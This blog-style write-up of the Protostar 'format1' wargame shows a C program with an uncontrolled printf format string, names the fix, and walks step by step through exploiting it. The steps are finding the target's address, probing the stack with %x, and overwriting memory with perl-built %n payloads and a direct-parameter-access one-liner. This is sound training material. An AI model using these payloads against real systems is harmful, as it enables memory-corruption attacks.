Following the Format 0 challenge, I’ve had to do a bunch of reading on how format string exploits work on a very low level.
Some resources that I’ve found greatly useful:
- Hacking: The Art of Exploitation, 2nd Edition
- Exploiting Format String Vulnerabilities
- SecurityTube.net Format String Vulnerabilities Megaprimer
With this challenge, we’re given some c code in which we are to find the vulnerability.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln(char *string)
{
printf(string);
if(target) {
printf("you have modified the target :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
If you notice, there is a string format vulnerability inside the “vuln” function. It is doing a “printf” of a string directly provided by the user. To prevent this vulnerability, this line should read:
printf("%s", string);
The first step of exploiting this vulnerability, would be to find the address of “target”, so that we can modify it.
user@protostar:/opt/protostar/bin$ objdump -t format1 | grep target
08049638 g O .bss 00000004 target
The next step, is to find the direct reference in the stack to the command argument we enter. To do this, we can simply spam “%x”, since that pops the next word off of the stack. If we do it multiple times, eventually we’ll get to where the argument is located. I chose to do it 150 times, guessing it would be less than that.
user@protostar:/opt/protostar/bin$ ./format1 AAAAAAAA`perl -e 'print "%x."x150'`
AAAAAAAA804960c.bffff628.8048469.b7fd8304.b7fd7ff4.bffff628.8048435.bffff7f0.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff6a8.b7eadc76.2.bffff6d4.bffff6e0.b7fe1848.bffff690.ffffffff.b7ffeff4.804824d.1.bffff690.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff6a8.8570f76f.af24e17f.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff6d4.8048450.8048440.b7ff1040.bffff6cc.b7fff8f8.2.bffff7e6.bffff7f0.0.bffff9bb.bffff9c6.bffff9d6.bffff9f6.bffffa09.bffffa13.bfffff03.bfffff17.bfffff55.bfffff6c.bfffff7d.bfffff85.bfffff95.bfffffa2.bfffffd4.bfffffe0.0.20.b7fe2414.21.b7fe2000.10.febfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffff7cb.1f.bffffff2.f.bffff7db.0.0.0.cf000000.4b112951.96083d4e.8dce3d07.69b25f71.363836.0.2f2e0000.6d726f66.317461.41414141.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.
If you look at that output, you’ll see each byte in the stack, separated by periods. Eventually, you should see “41414141”, since the 150 number was enough. This points to the “AAAAAAAA” we entered at the beginning of the argument. I often find it easy to do 8 “A"s instead of 4, in case the byte is split up, and not aligned properly, giving something like “41411234.5678414141”.
Counting in, it looks like it was 128 bytes into the stack to get to. Just to verify, let’s try a little more precisely:
user@protostar:/opt/protostar/bin$ ./format1 AAAA`perl -e 'print "%x."x128'`%x
AAAA804960c.bffff668.8048469.b7fd8304.b7fd7ff4.bffff668.8048435.bffff834.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff6e8.b7eadc76.2.bffff714.bffff720.b7fe1848.bffff6d0.ffffffff.b7ffeff4.804824d.1.bffff6d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff6e8.77ba880e.5dee1e1e.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff714.8048450.8048440.b7ff1040.bffff70c.b7fff8f8.2.bffff82a.bffff834.0.bffff9bb.bffff9c6.bffff9d6.bffff9f6.bffffa09.bffffa13.bfffff03.bfffff17.bfffff55.bfffff6c.bfffff7d.bfffff85.bfffff95.bfffffa2.bfffffd4.bfffffe0.0.20.b7fe2414.21.b7fe2000.10.febfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffff80b.1f.bffffff2.f.bffff81b.0.0.0.3b000000.34e9adc8.e1b8c42b.3212319e.690884e6.363836.0.0.2f2e0000.6d726f66.317461.41414141
That verifies that no additional padding needs to be done, the last word is reading perfectly.
Next, instead of passing “AAAA” (or 0x41414141) as the address, we’ll try using the address of “target”:
user@protostar:/opt/protostar/bin$ ./format1 `perl -e 'print "\x38\x96\x04\x08" . "%x."x128'`%x
8804960c.bffff668.8048469.b7fd8304.b7fd7ff4.bffff668.8048435.bffff834.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff6e8.b7eadc76.2.bffff714.bffff720.b7fe1848.bffff6d0.ffffffff.b7ffeff4.804824d.1.bffff6d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff6e8.b623f0ae.9c7766be.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff714.8048450.8048440.b7ff1040.bffff70c.b7fff8f8.2.bffff82a.bffff834.0.bffff9bb.bffff9c6.bffff9d6.bffff9f6.bffffa09.bffffa13.bfffff03.bfffff17.bfffff55.bfffff6c.bfffff7d.bfffff85.bfffff95.bfffffa2.bfffffd4.bfffffe0.0.20.b7fe2414.21.b7fe2000.10.febfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffff80b.1f.bffffff2.f.bffff81b.0.0.0.98000000.88091ce4.7be8a4e7.30f01468.69a9fa50.363836.0.0.2f2e0000.6d726f66.317461.8049638
Note that the initial 0 is missing, but that’s ok. It seems that worked as well, so let’s tell it to overwrite the memory address instead of just printing it to the screen:
user@protostar:/opt/protostar/bin$ ./format1 `perl -e 'print "\x38\x96\x04\x08" . "%x."x128'`%n
8804960c.bffff668.8048469.b7fd8304.b7fd7ff4.bffff668.8048435.bffff834.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff6e8.b7eadc76.2.bffff714.bffff720.b7fe1848.bffff6d0.ffffffff.b7ffeff4.804824d.1.bffff6d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff6e8.a61b35ff.8c4fa3ef.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff714.8048450.8048440.b7ff1040.bffff70c.b7fff8f8.2.bffff82a.bffff834.0.bffff9bb.bffff9c6.bffff9d6.bffff9f6.bffffa09.bffffa13.bfffff03.bfffff17.bfffff55.bfffff6c.bfffff7d.bfffff85.bfffff95.bfffffa2.bfffffd4.bfffffe0.0.20.b7fe2414.21.b7fe2000.10.febfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffff80b.1f.bffffff2.f.bffff81b.0.0.0.48000000.eacde3e8.ce402cfb.689377d6.699e12c7.363836.0.0.2f2e0000.6d726f66.317461.you have modified the target :)
There you have it. We modified the value, which made the application output “you have modified the target :)”
As a bonus solution, I found you can also use Direct Parameter Access, and solve it with a lot less junk on the screen:
user@protostar:/opt/protostar/bin$ ./format1 `perl -e 'print "\x38\x96\x04\x08"'`%128\$n
8you have modified the target :)